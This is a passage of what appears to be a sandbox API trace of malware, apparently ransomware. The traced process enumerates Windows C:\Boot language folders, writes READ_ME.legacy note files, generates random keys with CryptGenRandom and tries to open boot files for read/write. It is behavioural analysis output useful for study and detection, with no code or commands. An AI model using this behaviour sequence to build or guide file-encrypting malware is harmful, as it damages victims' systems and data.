lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0109.332] FindNextFileW (in: hFindFile=0x5a01a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.332] GetLastError () returned 0x5 [0109.332] SetLastError (dwErrCode=0x5) [0109.332] GetLastError () returned 0x5 [0109.332] SetLastError (dwErrCode=0x5) [0109.332] GetLastError () returned 0x5 [0109.332] SetLastError (dwErrCode=0x5) [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.332] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.332] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.333] FindNextFileW (in: hFindFile=0x5a01a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0109.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c10c8 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1158 [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0109.333] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.333] GetLastError () returned 0x5 [0109.333] SetLastError (dwErrCode=0x5) [0109.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0109.334] CreateFileW (lpFileName="\\Boot\\Resources\\en-US\\READ_ME.legacy" (normalized: "c:\\boot\\resources\\en-us\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x550 [0109.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d190 | out: hHeap=0x520000) returned 1 [0109.334] WriteFile (in: hFile=0x550, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.335] CloseHandle (hObject=0x550) returned 1 [0109.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0109.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x520000) returned 1 [0109.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c10c8 | out: hHeap=0x520000) returned 1 [0109.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.335] FindNextFileW (in: hFindFile=0x5a01a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bfbc60, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bfbc60, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.335] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.336] GetLastError () returned 0x0 [0109.336] SetLastError (dwErrCode=0x0) [0109.336] GetLastError () returned 0x0 [0109.336] SetLastError (dwErrCode=0x0) [0109.336] GetLastError () returned 0x0 [0109.336] SetLastError (dwErrCode=0x0) [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.336] FindNextFileW (in: hFindFile=0x5a01a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bfbc60, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bfbc60, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c1f10 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1018 [0109.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c1f10 | out: pbBuffer=0x5c1f10) returned 1 [0109.336] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1018 | out: pbBuffer=0x5c1018) returned 1 [0109.336] SetFileAttributesW (lpFileName="\\Boot\\Resources\\bootres.dll", dwFileAttributes=0x80) returned 0 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.337] CreateFileW (lpFileName="\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d910 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a78 | out: hHeap=0x520000) returned 1 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638c0 | out: hHeap=0x520000) returned 1 [0109.337] FindFirstFileW (in: lpFileName="\\Boot\\ro-RO\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a02e8 [0109.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.337] GetLastError () returned 0x5 [0109.337] SetLastError (dwErrCode=0x5) [0109.337] GetLastError () returned 0x5 [0109.337] SetLastError (dwErrCode=0x5) [0109.337] GetLastError () returned 0x5 [0109.337] SetLastError (dwErrCode=0x5) [0109.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0109.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0109.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x520000) returned 1 [0109.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0109.338] FindNextFileW (in: hFindFile=0x5a02e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1bfbc60, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.338] GetLastError () returned 0x5 [0109.338] SetLastError (dwErrCode=0x5) [0109.338] GetLastError () returned 0x5 [0109.338] SetLastError (dwErrCode=0x5) [0109.338] GetLastError () returned 0x5 [0109.338] SetLastError (dwErrCode=0x5) [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04e8 | out: hHeap=0x520000) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0109.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0109.339] FindNextFileW (in: hFindFile=0x5a02e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.339] FindNextFileW (in: hFindFile=0x5a02e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bfbc60, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bfbc60, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] GetLastError () returned 0x5 [0109.339] SetLastError (dwErrCode=0x5) [0109.339] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.339] FindNextFileW (in: hFindFile=0x5a02e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1bfbc60, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1bfbc60, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.339] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c15c8 | out: pbBuffer=0x5c15c8) returned 1 [0109.339] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1158 | out: pbBuffer=0x5c1158) returned 1 [0109.340] SetFileAttributesW (lpFileName="\\Boot\\ro-RO\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.340] CreateFileW (lpFileName="\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d48 | out: hHeap=0x520000) returned 1 [0109.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c80 | out: hHeap=0x520000) returned 1 [0109.340] FindFirstFileW (in: lpFileName="\\Boot\\ru-RU\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a04e8 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.341] GetLastError () returned 0x5 [0109.341] SetLastError (dwErrCode=0x5) [0109.341] GetLastError () returned 0x5 [0109.341] SetLastError (dwErrCode=0x5) [0109.341] GetLastError () returned 0x5 [0109.341] SetLastError (dwErrCode=0x5) [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e08 [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0768 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0768 | out: hHeap=0x520000) returned 1 [0109.341] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.341] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e08 | out: hHeap=0x520000) returned 1 [0109.341] FindNextFileW (in: hFindFile=0x5a04e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.342] GetLastError () returned 0x5 [0109.342] SetLastError (dwErrCode=0x5) [0109.342] GetLastError () returned 0x5 [0109.342] SetLastError (dwErrCode=0x5) [0109.342] GetLastError () returned 0x5 [0109.342] SetLastError (dwErrCode=0x5) [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x520000) returned 1 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0109.342] FindNextFileW (in: hFindFile=0x5a04e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.342] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.342] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.342] GetLastError () returned 0x5 [0109.342] SetLastError (dwErrCode=0x5) [0109.342] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.343] FindNextFileW (in: hFindFile=0x5a04e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.343] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0109.343] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.343] FindNextFileW (in: hFindFile=0x5a04e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.343] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.343] GetLastError () returned 0x5 [0109.343] SetLastError (dwErrCode=0x5) [0109.343] GetLastError () returned 0x5 [0109.344] SetLastError (dwErrCode=0x5) [0109.344] GetLastError () returned 0x5 [0109.344] SetLastError (dwErrCode=0x5) [0109.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.344] FindNextFileW (in: hFindFile=0x5a04e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c22051, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c22051, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c22051, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3098 [0109.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1008 [0109.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3098 | out: pbBuffer=0x5c3098) returned 1 [0109.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1008 | out: pbBuffer=0x5c1008) returned 1 [0109.344] SetFileAttributesW (lpFileName="\\Boot\\ru-RU\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.345] CreateFileW (lpFileName="\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.345] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c31a0 [0109.345] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1028 [0109.345] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c31a0 | out: pbBuffer=0x5c31a0) 